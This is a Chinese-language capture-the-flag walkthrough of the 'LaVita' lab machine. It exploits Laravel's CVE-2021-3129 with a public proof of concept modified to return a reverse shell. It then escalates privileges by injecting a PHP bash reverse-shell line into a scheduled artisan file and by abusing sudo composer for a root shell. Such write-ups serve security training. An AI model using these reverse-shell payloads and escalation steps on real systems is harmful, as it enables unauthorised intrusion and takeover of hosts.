简介
point 10
LaVita
Difficulty INTERMEDIATE
rated by community HARD
Part 7 of Labor Day CTF Machine
实验环境
攻击者 Kali 192.168.45.209
受害者 IP 192.168.181.38 Linux
1. 信息收集
收集受害者服务详情
2. 漏洞发现和利用
登录80端口
注册过后直接进入后台
尝试上传 不允许php 尝试gif绕过 无效
回到首页
尝试注册时覆盖test邮箱
但是无效
在这里填入随便的内容
跳出版本信息
尝试google搜索漏洞
POC在这
https://github.com/zhzyker/CVE-2021-3129
运行时发现只会反弹id命令的结果
且发现RC2可以返回
尝试修改源代码 使得直接反弹shell
vim exp.py
kali监听4444端口并且运行POC
就反弹回来shell
3. 后渗透阶段
查找数据库密码找不到 SUID没有用信息 查看定时任务无有用信息后
尝试内核提权
也是无效
尝试pspy64枚举正在进行的进程发现 UID为1001的用户正在执行
/usr/bin/php /var/www/html/lavita/artisan clear:pictures
查看/etc/passwd发现是skunk正在运行
到目录看到artisan是当前www-data用户可以运行和修改的
我们直接在文件中加入php木马内容
echo system("bash -c 'bash -i >& /dev/tcp/192.168.45.209/3333 0>&1'");
原木马为
<?php echo system("bash -c 'bash -i >& /dev/tcp/192.168.45.209/3333 0>&1'");?>
kali监听3333端口就得到了skunk用户的shell
在skunk用户中下载LinEnum.sh
运行后可以看到如下内容
由于我们不知道skunk密码
我们尝试从第二条入手
到https://gtfobins.github.io/中查找composer
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x
对应TF就是/var/www/html/lavita
所以
TF=/var/www/html/lavita
然后尝试第二步时发现我们没有权限
到目录查看 发现www-data用户有权限
那么我们返回到www-data用户的终端中
运行下面命令前尽量备份composer.json
TF=/var/www/html/lavita
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
回到skunk用户执行最后一步
sudo /usr/bin/composer --working-dir\=/var/www/html/lavita run-script x
输入yes
就提权成功了